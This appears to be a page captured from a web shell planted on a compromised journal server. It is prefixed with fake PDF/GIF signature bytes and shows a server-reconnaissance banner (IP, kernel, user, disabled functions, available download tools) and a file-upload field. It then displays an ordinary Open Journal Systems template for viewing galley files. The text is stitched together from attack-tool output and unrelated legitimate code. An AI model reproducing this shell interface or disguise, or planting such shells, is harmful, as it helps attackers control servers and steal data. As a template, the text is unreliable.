%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/JetJournal/templates/submission/layout/ |
Upload File : |
{**
* templates/submission/layout/galleyView.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Read-only view of galley information.
*
*}
{strip}
{assign var="pageTitle" value="submission.galley"}
{include file="common/header.tpl"}
{/strip}
<div id="galleyFileData">
<p>{translate key="submission.layout.galleyFileData"}</p>
<table class="data">
<tr valign="top">
<td width="20%" class="label">{translate key="submission.layout.galleyLabel"}</td>
<td width="80%" class="value">{$galley->getGalleyLabel()|escape}</td>
</tr>
{if $galley->getPubId('publisher-id')}
<tr valign="top">
<td class="label">{translate key="submission.layout.publicGalleyId"}</td>
<td class="value">{$galley->getPubId('publisher-id')|escape}</td>
</tr>
{/if}
<tr valign="top">
<td class="label">{translate key="common.fileName"}</td>
<td class="value"><a class="action" href="{url op="downloadFile" path=$articleId|to_array:$galley->getFileId()}">{$galley->getFileName()|escape}</a></td>
</tr>
<tr valign="top">
<td class="label">{translate key="common.fileType"}</td>
<td class="value">{$galley->getFileType()|escape}</td>
</tr>
<tr valign="top">
<td class="label">{translate key="common.fileSize"}</td>
<td class="value">{$galley->getNiceFileSize()}</td>
</tr>
</table>
</div>
{if $galley->isHTMLGalley()}
<div id="htmlGalley">
<h3>{translate key="submission.layout.galleyHTMLData"}</h3>
{assign var=styleFile value=$galley->getStyleFile()}
<table class="data" width="100%">
<tr valign="top">
<td colspan="2" class="label"><strong>{translate key="submission.layout.galleyStylesheet"}</strong></td>
</tr>
{if $styleFile}
<tr valign="top>
<td class="label">{translate key="common.fileName"}</td>
<td class="value"><a href="{url op="downloadFile" path=$articleId|to_array:$styleFile->getFileId()}" class="action">{$styleFile->getFileName()|escape}</a></td>
</tr>
<tr valign="top">
<td class="label">{translate key="common.fileSize"}</td>
<td class="value">{$styleFile->getNiceFileSize()}</td>
</tr>
<tr>
<td class="label">{translate key="common.dateUploaded"}</td>
<td class="value">{$styleFile->getDateUploaded()|date_format:$datetimeFormatShort}</td>
</tr>
{else}
<tr valign="top">
<td colspan="2" class="nodata">{translate key="submission.layout.noStyleFile"}</td>
</tr>
{/if}
</table>
</div>
<div id="galleyImages">
<strong>{translate key="submission.layout.galleyImages"}</strong>
<table class="listing" width="100%">
<tr><td colspan="4" class="headseparator"> </td></tr>
<tr class="heading" valign="bottom">
<td width="40%">{translate key="common.fileName"}</td>
<td width="20%">{translate key="common.originalFileName"}</td>
<td width="20%">{translate key="common.fileSize"}</td>
<td width="20%">{translate key="common.dateUploaded"}</td>
</tr>
<tr><td colspan="4" class="headseparator"> </td></tr>
{foreach name="images" from=$galley->getImageFiles() item=imageFile}
<tr valign="top">
<td><a class="action" href="{url op="downloadFile" path=$articleId|to_array:$imageFile->getFileId()}">{$imageFile->getFileName()|escape}</a></td>
<td>{$imageFile->getOriginalFileName()|escape}</td>
<td>{$imageFile->getNiceFileSize()}</td>
<td>{$imageFile->getDateUploaded()|date_format:$dateFormatShort}</td>
</tr>
<tr valign="top">
<td colspan="4" class="{if $smarty.foreach.submissions.last}end{/if}separator"> </td>
</tr>
{foreachelse}
<tr valign="top">
<td colspan="4" class="nodata">{translate key="submission.layout.galleyNoImages"}</td>
</tr>
<tr valign="top">
<td colspan="4" class="endseparator"> </td>
</tr>
{/foreach}
</table>
</div>
{/if}
</form>
{include file="common/footer.tpl"}